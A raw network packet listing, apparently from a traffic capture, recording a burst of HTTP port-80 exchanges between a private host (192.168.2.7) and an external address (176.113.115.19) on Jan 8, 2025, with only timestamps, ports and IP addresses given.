Jan 8, 2025 09:42:35.251699924 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251714945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251730919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251738071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251740932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251758099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251770020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251771927 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251805067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251805067 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251812935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251846075 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251853943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251861095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251867056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251904964 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251923084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251926899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251940012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251948118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251962900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251966000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251969099 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251974106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251980066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251991987 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.252022028 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.252836943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.252882957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.252909899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.252928019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.252959013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.252964973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.252965927 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.252979994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.252990961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253004074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253010035 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253014088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253021002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253025055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253026962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253053904 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253056049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253062963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253067970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253081083 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253087997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253096104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253107071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253108025 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253114939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253122091 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253134966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253142118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253148079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253153086 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253160000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253168106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253171921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.253175974 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.253206968 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.274328947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.281637907 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288450003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288471937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288485050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288499117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288505077 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288516045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288525105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288553953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288567066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288573027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288592100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288603067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288609028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288619041 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288629055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288660049 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288734913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288743973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288753033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288758993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288767099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.288781881 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.288810968 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297633886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297674894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297684908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297692060 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297707081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297723055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297736883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297755957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297764063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297772884 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297801018 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297823906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297833920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297844887 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297874928 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297898054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297904968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297913074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297918081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297926903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297940969 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297956944 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.297971010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297980070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297991037 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.297996998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.298022032 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.298033953 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.298036098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.298043966 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.298079967 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.335273981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335300922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335305929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335339069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335346937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335359097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335366011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335372925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.335376978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335385084 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.335423946 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.335966110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335973978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335980892 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.335994005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.336014986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.336026907 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.336050987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.336057901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.336064100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.336091042 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.336096048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.336111069 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.336148977 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.337982893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338021040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338032007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338033915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338062048 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338078022 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338090897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338115931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338123083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338129997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338134050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338160038 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338227987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338236094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338248014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338253975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338259935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338267088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338279009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338279963 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338299990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338310957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338325977 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338351965 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338355064 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338373899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338388920 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338404894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338413954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338418007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338421106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338449001 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338515997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338531017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338536978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338548899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338562965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338568926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338572979 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338574886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338593960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338596106 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338608027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338613033 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338618040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338645935 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338663101 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338773012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338779926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338799953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338807106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338812113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338814020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338819981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338828087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338835955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338844061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338849068 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338849068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338864088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338874102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338876963 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338896990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338896990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338905096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.338913918 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.338942051 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339548111 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339554071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339565992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339576960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339595079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339601040 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339603901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339610100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339613914 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339617014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339622021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339637995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339651108 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339652061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339657068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339664936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339684010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339695930 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339719057 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339721918 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339725971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339740038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339746952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339773893 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339787960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339797974 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339801073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339807987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339822054 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339823008 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339829922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339833975 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339837074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339843988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339852095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.339858055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.339891911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.375354052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375370979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375382900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375396013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375402927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375412941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.375441074 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.375477076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375480890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375488997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375502110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375509024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375519991 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.375549078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.375551939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375559092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375566006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375572920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.375592947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.375624895 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384500027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384509087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384516001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384527922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384536028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384578943 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384608030 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384623051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384656906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384669065 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384674072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384685993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384696960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384697914 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384702921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384712934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384727955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384730101 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384735107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384740114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384747028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384758949 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384773016 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384790897 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384792089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384799004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384804964 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384812117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384819031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.384838104 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.384865999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.423358917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423388958 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423399925 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423405886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423418999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423425913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423454046 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.423491001 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.423552036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423562050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423568010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423574924 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423582077 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423595905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423602104 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.423604965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423619032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.423624039 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.423645020 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.423654079 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.425440073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425504923 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.425529957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425538063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425549984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425555944 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425561905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425578117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425581932 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.425595045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425606012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425611973 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.425612926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425620079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425632954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425643921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.425657988 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.425693989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425700903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425708055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425719976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425728083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.425734997 CET	80	49703	176.113.115.19	192.168.2.7
